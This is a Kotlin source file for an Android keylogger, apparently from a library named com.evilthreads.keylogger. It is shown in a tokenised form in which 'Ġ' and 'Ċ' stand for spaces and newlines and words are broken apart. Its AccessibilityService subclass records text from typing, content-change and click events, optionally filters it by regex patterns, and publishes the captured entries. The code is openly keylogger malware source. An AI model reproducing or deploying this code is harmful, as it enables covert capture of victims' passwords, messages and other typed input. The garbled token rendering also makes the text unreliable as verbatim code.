/* Copyright Ġ 2 0 2 0 ĠChris ĠB asing er Ċ Ċ Licensed Ġunder Ġthe ĠApache ĠLicense , ĠVersion Ġ 2 . 0 Ġ( the Ġ" License "); Ċ you Ġmay Ġnot Ġuse Ġthis Ġfile Ġexcept Ġin Ġcompliance Ġwith Ġthe ĠLicense . Ċ You Ġmay Ġobtain Ġa Ġcopy Ġof Ġthe ĠLicense Ġat ĊĊĠĠ Ġhttp :// www . apache . org / licenses / LICENSE - 2 . 0 Ċ Ċ Unless Ġrequired Ġby Ġapplicable Ġlaw Ġor Ġagreed Ġto Ġin Ġwriting , Ġsoftware Ċ distributed Ġunder Ġthe ĠLicense Ġis Ġdistributed Ġon Ġan Ġ" AS ĠIS " ĠBASIS , Ċ WITHOUT ĠWARRANTIES ĠOR ĠCONDITIONS ĠOF ĠANY ĠKIND , Ġeither Ġexpress Ġor Ġimplied . Ċ See Ġthe ĠLicense Ġfor Ġthe Ġspecific Ġlanguage Ġgoverning Ġpermissions Ġand Ċ limitations Ġunder Ġthe ĠLicense .*/ Ċ package Ġcom . evil threads . key logger Ċ Ċ import Ġandroid . accessibility service . Accessibility Service Ċ import Ġandroid . view . accessibility . Accessibility Event Ċ import Ġkotlinx . coroutines . run Blocking Ċ /* ĊĠĠĠĠĠĠĠĠĠĠĠ Ġ( ĠĠ Ġ( ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ Ġ) Ġ( ĠĠĠĠĠĠĠĠĠĠĠĠ Ġ( ĠĠĠĠ Ġ( ĊĠĠĠĠĠĠĠĠĠĠĠ Ġ) \ Ġ)) \ Ġ) ĠĠĠ Ġ* ĠĠ Ġ) Ġ( Ġ/ ( Ġ) \ Ġ) ĠĠĠĠ Ġ( ĠĠĠ Ġ) \ Ġ) Ġ Ġ) \ Ġ) Ċ Ġ( ĠĠ Ġ( ĠĠ Ġ( Ġ( ()/ (() /( Ġ Ġ` Ġ) Ġ Ġ/ ( Ġ) \ () |() / (( ĠĠĠ Ġ) \ Ġ Ġ(() /( Ġ(() /( Ċ Ġ) \ Ġ Ġ) \ Ġ Ġ) \ Ġ/ (_ )) (_ )) Ġ Ġ( Ġ) (_ )| (_ )\ Ġ/ (_ )) \ (((( _ )( Ġ/ (_ )) Ġ/ (_ )) Ċ (( _) (( _) (( _| _)) (_ )) ĠĠ Ġ(_ (_ ()) Ġ_ (( _| _)) (( _)) \ Ġ_ Ġ) (_ )) _ Ġ(_ )) Ċ | Ġ__ \ Ġ\ Ġ/ Ġ/ | _ Ġ_ | Ġ| ĠĠĠ Ġ|_ ĠĠ Ġ_ || Ġ|| Ġ| Ġ_ Ġ\ Ġ__ (_ )_ \ (_) ĠĠ Ġ\/ Ġ__ | Ċ | Ġ_ | Ġ\ ĠV Ġ/ Ġ Ġ| Ġ|| Ġ| __ ĠĠĠ Ġ| Ġ| Ġ Ġ| Ġ__ Ġ| ĠĠ Ġ/ Ġ_ | Ġ/ Ġ_ Ġ\ Ġ| Ġ| ) Ġ\ __ Ġ\ Ċ | ___ | Ġ\_ / Ġ Ġ| ___ | ____ | ĠĠ Ġ|_| Ġ Ġ|_ || _| _| _\ ___ /_ / Ġ\ _\ | ___ / | ___ / Ċ ................ .... ../ Â ´ Â ¯ /) Ċ ................ .... ,/ Â ¯ ../ Ċ ................ ... / .. ../ Ċ ........ ..... / Â ´ Â ¯ /' ... '/ Â ´ Â ¯ Â ¯ ` Â· Â ¸ Ċ ........ ../ '/ ... / .. ../ ....... / Â ¨ Â ¯ \ Ċ ........ (' (... Â ´ ... Â ´ .... ĠÂ ¯ ~ /' ...') Ċ .... ..... \ ........ .... ..... ' ..... / Ċ ........ .. '' ...\ ........ .. Ġ_. Â· Â ´ Ċ ........ .... \ ........ ...... ( Ċ ........ .... ..\ ........ ..... \ ... Ċ */ Ċ class ĠKey logger Service : ĠAccessibility Service () Ġ{ ĊĠĠĠ Ġoverride Ġfun Ġon Interrupt () Ġ{ Ġ} ĊĠĠĠ Ġoverride Ġfun Ġon Accessibility Event ( event : ĠAccessibility Event ?) Ġ{ ĊĠĠĠĠĠĠĠ ĠStringBuffer (). apply Ġ{ ĊĠĠĠĠĠĠĠĠĠĠĠ Ġwhen ( event ?. eventType ){ ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠAccessibility Event . TYPE _ VIEW _ TEXT _ CHANGED Ġ-> Ġthis . append ( event . text . toString ()) ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠAccessibility Event . CONTENT _ CHANGE _ TYPE _ TEXT Ġ-> Ġthis . append ( event . text . toString ()) ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠAccessibility Event . TYPE _ VIEW _ CLICK ED Ġ-> Ġthis . append ( event . text . toString ()) ĊĠĠĠĠĠĠĠĠĠĠĠ Ġ} ĊĠĠĠĠĠĠĠ Ġ}. toString (). trim (). take If Ġ{ Ġit . isNotEmpty () Ġ} ?. let { Ġtext Ġ-> ĊĠĠĠĠĠĠĠĠĠĠĠ Ġrun Blocking Ġ{ ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ Ġif ( Key logger . patterns . isNotEmpty ()) ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠKey logger . patterns . forEach Ġ{ Ġpattern Ġ-> ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ Ġif ( pattern . contains Match In ( text )){ ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ Ġval Ġentry Ġ= ĠKey logger Entry ( text ) ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠKey logger . publish ( entry ) ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ Ġreturn @ run Blocking ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ Ġ} ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ Ġ} ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ Ġelse { ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ Ġval Ġentry Ġ= ĠKey logger Entry ( text ) ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠKey logger . publish ( entry ) ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ Ġ} ĊĠĠĠĠĠĠĠĠĠĠĠ Ġ} ĊĠĠĠĠĠĠĠ Ġ} ĊĠĠĠ Ġ} ĊĊĠĠĠ Ġoverride Ġfun Ġon Service Connected () Ġ{ ĊĠĠĠĠĠĠĠ ĠKey logger State . enable () ĊĠĠĠĠĠĠĠ Ġsuper . on Service Connected () ĊĠĠĠ Ġ} ĊĊĠĠĠ Ġoverride Ġfun Ġon Destroy () Ġ{ ĊĠĠĠĠĠĠĠ ĠKey logger State . disable () ĊĠĠĠĠĠĠĠ Ġsuper . on Destroy () ĊĠĠĠ Ġ} Ċ }